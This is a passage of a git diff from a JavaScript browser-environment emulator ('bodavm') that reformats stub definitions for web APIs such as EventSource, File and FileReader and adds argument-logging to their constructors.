+}); +bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('EventSource', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "withCredentials", { + configurable: true, + enumerable: true, + get: function withCredentials() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "withCredentials_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onopen", { + configurable: true, + enumerable: true, + get: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_get", arguments); + }, + set: function onopen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onopen_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onmessage", { + configurable: true, + enumerable: true, + get: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_get", arguments); + }, + set: function onmessage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onmessage_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "CONNECTING", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "OPEN", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "CLOSED", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventSource', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventSource'].prototype, "EventSource", "close", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EventTarget.js b/env_xbb_lastest_jsdom/env/EventTarget.js index ee27e327..8c446402 100644 --- a/env_xbb_lastest_jsdom/env/EventTarget.js +++ b/env_xbb_lastest_jsdom/env/EventTarget.js @@ -1,6 +1,38 @@ -// EventTarget对象 -bodavm.memory.globalobj['EventTarget'] = function EventTarget(){this._boarg= new bodaobj.window.EventTarget();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventTarget'], "EventTarget"); -bodavm.toolsFunc.defineProperty('EventTarget', "addEventListener", {configurable:true, enumerable:true, writable:true, value:function addEventListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "addEventListener", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventTarget', "dispatchEvent", {configurable:true, enumerable:true, writable:true, value:function dispatchEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "dispatchEvent", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('EventTarget', "removeEventListener", {configurable:true, enumerable:true, writable:true, value:function removeEventListener (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "removeEventListener", arguments)}},'prototype'); +// EventTarget对象 + +bodavm.memory.globalobj['EventTarget'] = function EventTarget() { + console.log_copy('EventTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.EventTarget(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EventTarget'], "EventTarget"); +bodavm.toolsFunc.defineProperty('EventTarget', "addEventListener", { + configurable: true, + enumerable: true, + writable: true, + value: function addEventListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "addEventListener", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "dispatchEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function dispatchEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "dispatchEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('EventTarget', "removeEventListener", { + configurable: true, + enumerable: true, + writable: true, + value: function removeEventListener() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EventTarget'].prototype, "EventTarget", "removeEventListener", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/External.js b/env_xbb_lastest_jsdom/env/External.js index 30769b8e..c5c0b7cc 100644 --- a/env_xbb_lastest_jsdom/env/External.js +++ b/env_xbb_lastest_jsdom/env/External.js @@ -1,10 +1,40 @@ -// External对象 -bodavm.memory.globalobj['External'] = function External(){if (!(this instanceof External)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['External'], "External"); -bodavm.toolsFunc.defineProperty('External', "AddSearchProvider", {configurable:true, enumerable:true, writable:true, value:function AddSearchProvider (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "AddSearchProvider", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('External', "IsSearchProviderInstalled", {configurable:true, enumerable:true, writable:true, value:function IsSearchProviderInstalled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "IsSearchProviderInstalled", arguments)}},'prototype'); -// external对象 -bodavm.memory.globalobj['external'] = { - _boisinit:bodavm.config.isinit - } -bodavm.memory.globalobj['external'].__proto__=bodavm.memory.globalobj['External'].prototype; +// External对象 + +bodavm.memory.globalobj['External'] = function External() { + console.log_copy('External 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof External)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['External'], "External"); +bodavm.toolsFunc.defineProperty('External', "AddSearchProvider", { + configurable: true, + enumerable: true, + writable: true, + value: function AddSearchProvider() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "AddSearchProvider", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('External', "IsSearchProviderInstalled", { + configurable: true, + enumerable: true, + writable: true, + value: function IsSearchProviderInstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['External'].prototype, "External", "IsSearchProviderInstalled", arguments); + } +}, 'prototype'); + +// external对象 + +bodavm.memory.globalobj['external'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['external'].__proto__ = bodavm.memory.globalobj['External'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/EyeDropper.js b/env_xbb_lastest_jsdom/env/EyeDropper.js index 6dc9896a..ff238e18 100644 --- a/env_xbb_lastest_jsdom/env/EyeDropper.js +++ b/env_xbb_lastest_jsdom/env/EyeDropper.js @@ -1,4 +1,22 @@ -// EyeDropper对象 -bodavm.memory.globalobj['EyeDropper'] = function EyeDropper(){this._boarg= new bodaobj.window.EyeDropper();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EyeDropper'], "EyeDropper"); -bodavm.toolsFunc.defineProperty('EyeDropper', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EyeDropper'].prototype, "EyeDropper", "open", arguments)}},'prototype'); +// EyeDropper对象 + +bodavm.memory.globalobj['EyeDropper'] = function EyeDropper() { + console.log_copy('EyeDropper 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.EyeDropper(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['EyeDropper'], "EyeDropper"); +bodavm.toolsFunc.defineProperty('EyeDropper', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['EyeDropper'].prototype, "EyeDropper", "open", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FeaturePolicy.js b/env_xbb_lastest_jsdom/env/FeaturePolicy.js index 42b01c7f..31c1e45c 100644 --- a/env_xbb_lastest_jsdom/env/FeaturePolicy.js +++ b/env_xbb_lastest_jsdom/env/FeaturePolicy.js @@ -1,7 +1,49 @@ -// FeaturePolicy对象 -bodavm.memory.globalobj['FeaturePolicy'] = function FeaturePolicy(){if (!(this instanceof FeaturePolicy)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FeaturePolicy'], "FeaturePolicy"); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowedFeatures", {configurable:true, enumerable:true, writable:true, value:function allowedFeatures (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowedFeatures", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowsFeature", {configurable:true, enumerable:true, writable:true, value:function allowsFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowsFeature", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "features", {configurable:true, enumerable:true, writable:true, value:function features (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "features", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FeaturePolicy', "getAllowlistForFeature", {configurable:true, enumerable:true, writable:true, value:function getAllowlistForFeature (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "getAllowlistForFeature", arguments)}},'prototype'); +// FeaturePolicy对象 + +bodavm.memory.globalobj['FeaturePolicy'] = function FeaturePolicy() { + console.log_copy('FeaturePolicy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FeaturePolicy)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FeaturePolicy'], "FeaturePolicy"); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowedFeatures", { + configurable: true, + enumerable: true, + writable: true, + value: function allowedFeatures() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowedFeatures", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "allowsFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function allowsFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "allowsFeature", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "features", { + configurable: true, + enumerable: true, + writable: true, + value: function features() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "features", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FeaturePolicy', "getAllowlistForFeature", { + configurable: true, + enumerable: true, + writable: true, + value: function getAllowlistForFeature() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FeaturePolicy'].prototype, "FeaturePolicy", "getAllowlistForFeature", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FederatedCredential.js b/env_xbb_lastest_jsdom/env/FederatedCredential.js index 53507c84..3e99f1f5 100644 --- a/env_xbb_lastest_jsdom/env/FederatedCredential.js +++ b/env_xbb_lastest_jsdom/env/FederatedCredential.js @@ -1,9 +1,51 @@ -// FederatedCredential对象 -bodavm.memory.globalobj['FederatedCredential'] = function FederatedCredential(){if (!(this instanceof FederatedCredential)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FederatedCredential': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FederatedCredential'], "FederatedCredential"); -bodavm.memory.globalobj['FederatedCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['FederatedCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('FederatedCredential', "provider", {configurable:true, enumerable:true, get:function provider (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "provider_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "protocol_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FederatedCredential', "iconURL", {configurable:true, enumerable:true, get:function iconURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "iconURL_get", arguments)}, set:undefined},'prototype'); +// FederatedCredential对象 + +bodavm.memory.globalobj['FederatedCredential'] = function FederatedCredential() { + console.log_copy('FederatedCredential 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FederatedCredential)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'FederatedCredential': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FederatedCredential'], "FederatedCredential"); +bodavm.memory.globalobj['FederatedCredential'].prototype.__proto__ = bodavm.memory.globalobj['Credential'].prototype; +bodavm.memory.globalobj['FederatedCredential'].__proto__ = bodavm.memory.globalobj['Credential']; +bodavm.toolsFunc.defineProperty('FederatedCredential', "provider", { + configurable: true, + enumerable: true, + get: function provider() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "provider_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "protocol_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FederatedCredential', "iconURL", { + configurable: true, + enumerable: true, + get: function iconURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FederatedCredential'].prototype, "FederatedCredential", "iconURL_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/File.js b/env_xbb_lastest_jsdom/env/File.js index 1605b262..ce767e0d 100644 --- a/env_xbb_lastest_jsdom/env/File.js +++ b/env_xbb_lastest_jsdom/env/File.js @@ -1,9 +1,51 @@ -// File对象 -bodavm.memory.globalobj['File'] = function File(){if (!(this instanceof File)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'File': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['File'], "File"); -bodavm.memory.globalobj['File'].prototype.__proto__=bodavm.memory.globalobj['Blob'].prototype; -bodavm.memory.globalobj['File'].__proto__=bodavm.memory.globalobj['Blob']; -bodavm.toolsFunc.defineProperty('File', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "lastModified", {configurable:true, enumerable:true, get:function lastModified (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModified_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "lastModifiedDate", {configurable:true, enumerable:true, get:function lastModifiedDate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModifiedDate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('File', "webkitRelativePath", {configurable:true, enumerable:true, get:function webkitRelativePath (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "webkitRelativePath_get", arguments)}, set:undefined},'prototype'); +// File对象 + +bodavm.memory.globalobj['File'] = function File() { + console.log_copy('File 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof File)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'File': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['File'], "File"); +bodavm.memory.globalobj['File'].prototype.__proto__ = bodavm.memory.globalobj['Blob'].prototype; +bodavm.memory.globalobj['File'].__proto__ = bodavm.memory.globalobj['Blob']; +bodavm.toolsFunc.defineProperty('File', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "lastModified", { + configurable: true, + enumerable: true, + get: function lastModified() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModified_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "lastModifiedDate", { + configurable: true, + enumerable: true, + get: function lastModifiedDate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "lastModifiedDate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('File', "webkitRelativePath", { + configurable: true, + enumerable: true, + get: function webkitRelativePath() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['File'].prototype, "File", "webkitRelativePath_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileList.js b/env_xbb_lastest_jsdom/env/FileList.js index 62cdb6cb..aaae5f92 100644 --- a/env_xbb_lastest_jsdom/env/FileList.js +++ b/env_xbb_lastest_jsdom/env/FileList.js @@ -1,5 +1,33 @@ -// FileList对象 -bodavm.memory.globalobj['FileList'] = function FileList(){if (!(this instanceof FileList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileList'], "FileList"); -bodavm.toolsFunc.defineProperty('FileList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileList', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "item", arguments)}},'prototype'); +// FileList对象 + +bodavm.memory.globalobj['FileList'] = function FileList() { + console.log_copy('FileList 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof FileList)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileList'], "FileList"); +bodavm.toolsFunc.defineProperty('FileList', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileList', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileList'].prototype, "FileList", "item", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/FileReader.js b/env_xbb_lastest_jsdom/env/FileReader.js index 663da3ca..1c2b633c 100644 --- a/env_xbb_lastest_jsdom/env/FileReader.js +++ b/env_xbb_lastest_jsdom/env/FileReader.js @@ -1,25 +1,176 @@ -// FileReader对象 -bodavm.memory.globalobj['FileReader'] = function FileReader(){this._boarg= new bodaobj.window.FileReader();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileReader'], "FileReader"); -bodavm.memory.globalobj['FileReader'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['FileReader'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('FileReader', "LOADING", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('FileReader', "DONE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('FileReader', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "result", {configurable:true, enumerable:true, get:function result (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "result_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "error", {configurable:true, enumerable:true, get:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "error_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onloadstart", {configurable:true, enumerable:true, get:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "onloadend", {configurable:true, enumerable:true, get:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_get", arguments)}, set:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadend_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "LOADING", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "DONE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "abort", {configurable:true, enumerable:true, writable:true, value:function abort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "abort", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsArrayBuffer", {configurable:true, enumerable:true, writable:true, value:function readAsArrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsArrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsBinaryString", {configurable:true, enumerable:true, writable:true, value:function readAsBinaryString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsBinaryString", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsDataURL", {configurable:true, enumerable:true, writable:true, value:function readAsDataURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsDataURL", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('FileReader', "readAsText", {configurable:true, enumerable:true, writable:true, value:function readAsText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readAsText", arguments)}},'prototype'); +// FileReader对象 + +bodavm.memory.globalobj['FileReader'] = function FileReader() { + console.log_copy('FileReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.FileReader(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['FileReader'], "FileReader"); +bodavm.memory.globalobj['FileReader'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['FileReader'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('FileReader', "EMPTY", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('FileReader', "LOADING", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('FileReader', "DONE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('FileReader', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "result", { + configurable: true, + enumerable: true, + get: function result() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "result_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "error", { + configurable: true, + enumerable: true, + get: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "error_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('FileReader', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['FileReader'].prototype, "FileReader", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return 